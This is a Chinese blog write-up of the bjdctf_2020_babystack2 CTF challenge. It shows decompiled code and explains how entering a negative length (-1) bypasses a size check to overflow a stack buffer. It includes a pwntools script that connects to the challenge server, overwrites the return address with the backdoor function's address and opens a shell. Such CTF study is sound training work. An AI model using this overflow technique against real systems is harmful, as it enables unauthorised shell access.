当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:16:00 【delta_hell】
题目分析
反编译,查找漏洞
main函数:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
当然,不会这么简单,前面有长度限制的判断
if (10 < (int)local_c)
不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
事实证明,思路完全正确,但是过程太曲折,简单描述下:
本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
搞的我怀疑人生。
解题思路
思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
没法本地验证导致的后果,就是溢出长度是猜出来的。
总结
思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。
边栏推荐
- Using SqlCommand objects in code
- leetcode96不同的二叉搜索樹
- 毕业季 | 华为专家亲授面试秘诀:如何拿到大厂高薪offer?
- 微信小程序缓存过期时间的相关设置(推荐)
- Flow control statement of SQL data analysis [if, case... When detailed]
- 记录一下大文件上传偶然成功偶然失败问题
- Vue force cleaning browser cache
- When installing mysql, there are two packages: Perl (data:: dumper) and Perl (JSON)
- RPA tutorial 01: Excel automation from introduction to practice
- 攻防演练复盘
猜你喜欢

Download the online video m3u8 tutorial

Material design component - use bottomsheet to show extended content (I)

Difficult to get up syndrome (bit by bit greed)

Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"

Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS

Using multithreaded callable to query Oracle Database

Heketi record
![[embedded system course design] a single key controls the LED light](/img/c9/076618208bbab0b95faa5a7e644a07.png)
[embedded system course design] a single key controls the LED light

数据库--SqlServer详解

SQL数据分析之窗口排序函数rank、dense_rank、raw_number与lag、lead窗口偏移函数【用法整理】
随机推荐
[QT] test whether QT can connect to the database
ADO. Net SqlConnection object usage summary
Why does blocprovider feel similar to provider?
RPA tutorial 01: Excel automation from introduction to practice
How to realize parallel replication in MySQL replication
Is the securities account given by qiniu business school safe? Where can I open an account
在证券账户上买基金安全吗?哪里可以买基金
SQL Server 安裝指南
Shell custom function
Using SqlCommand objects in code
Algolia's search needs are almost closed
Download the online video m3u8 tutorial
如何提升数据质量
Regular expression collection
时间复杂度与空间复杂度
[cmake] cmake configuration in QT Creator
Difficult to get up syndrome (bit by bit greed)
多表操作-一对一,一对多与多对多
攻防演练复盘
Correlation - intra group correlation coefficient